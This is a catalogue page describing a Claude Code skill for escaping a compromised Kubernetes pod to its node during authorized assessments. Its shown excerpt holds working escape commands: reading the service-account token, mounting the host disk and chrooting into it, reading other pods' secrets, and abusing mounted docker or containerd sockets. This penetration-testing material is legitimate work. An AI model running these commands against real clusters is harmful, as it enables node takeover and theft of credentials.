k8s-pod-escape

k8s-pod-escape is a skill for Claude Code from MingyiSecLab/Mingyi-Atlas. It costs 60 tokens per session (1,903 once invoked), scanned A, a copy of k8s-pod-escape, Apache-2.0.

Security guidance for escaping from a compromised Kubernetes pod to its host machine. Kubernetes pods are isolated environments that run containers.

In plain words
What is it for?
Use it during an authorized security assessment when you already have code execution inside a pod and need to check for node-level escape paths.
Why use it?
It helps assess whether container privileges, mounted host filesystems, Linux capabilities, or runtime weaknesses could expose the underlying node.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit Use it during an authorized security assessment when you already have code execution inside a pod and need to check for node-level escape paths.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/mingyiseclab/mingyi-atlas/k8s-pod-escape
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add MingyiSecLab/Mingyi-Atlas --skill k8s-pod-escape
Clone the repo
git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-Atlas

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for k8s-pod-escape

README.md
[![agentmods](https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/k8s-pod-escape/github.svg)](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/k8s-pod-escape)
Your own site
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/k8s-pod-escape"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/k8s-pod-escape/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for k8s-pod-escape

Your own site · 80×15
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/k8s-pod-escape"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/k8s-pod-escape.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 60 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,903 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00060 $0.01903
Opus 5 $0.00030 $0.00951
Sonnet 5 $0.00012 $0.00381
Haiku 4.5 $0.00006 $0.00190

Measured 12d ago against content hash 5ce3f168ac4f, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

k8s-pod-escape scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -sk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces/default/pods
Origin

This is a copy

100% identical to k8s-pod-escape — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

src/skills/standard/cloud/container/k8s-pod-escape/SKILL.md · 163 lines

How it starts

The opening of the file, as written. The whole thing — 163 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Kubernetes Pod Escape to Node

You have RCE inside a pod. Goal: break out of the container to the underlying node, then pivot to the cluster.

Phase 1: Enumerate the container

# Identify how you're contained
cat /proc/self/status | grep -E '^(Cap|Seccomp|NoNewPriv)'
cat /proc/1/status | grep -i cap
mount | grep -E 'cgroup|hostpath|/var/run/docker.sock|/var/run/crio'
ls -la /dev | head -20
id
hostname

# Service-account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 60
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

# Token + APIserver — confirm you can talk to the API
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces/default/pods

Phase 2: Detect escape primitives (check each, escalate via the first that works)

2.1 Privileged container

# Privileged = full host kernel access. CapEff: 0000003fffffffff is the giveaway.
grep CapEff /proc/self/status
# 0000003fffffffff or "ALL" → you're privileged. /dev/sda1, /dev/kmsg etc are visible.
ls -la /dev/sda* /dev/nvme*

# Mount host filesystem:
mkdir /mnt/host
mount /dev/sda1 /mnt/host          # adjust device — `lsblk` to confirm
chroot /mnt/host /bin/bash
# Now you're root on the node.

2.2 hostPath mount to / or /etc or /var/run/docker.sock

# Look for suspicious mounts
mount | grep -E '/host|/node|docker.sock|/etc|/root'
# /var/lib/kubelet mounted? You can read every other pod's secrets.
ls /var/lib/kubelet/pods/*/volumes/kubernetes.io~secret/ 2>/dev/null

# /var/run/docker.sock or /run/containerd/containerd.sock mounted = node compromise
docker -H unix:///var/run/docker.sock run --rm -it --privileged -v /:/host alpine chroot /host
ctr -a /run/containerd/containerd.sock run --rm -t --privileged --mount type=bind,src=/,dst=/host,options=rbind alpine escape sh -c 'chroot /host'

2.3 hostPID + SYS_PTRACE (no privileged needed)

Read the full file on GitHub · 163 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 12d ago First seen · 163 lines · 60 tokens per session scan A 5ce3f168ac4f

Subscribe to this mod's changes

k8s-pod-escape is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 60 tokens to every session and 1,903 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 100% identical to k8s-pod-escape, differing in 0 lines, and is treated as a copy.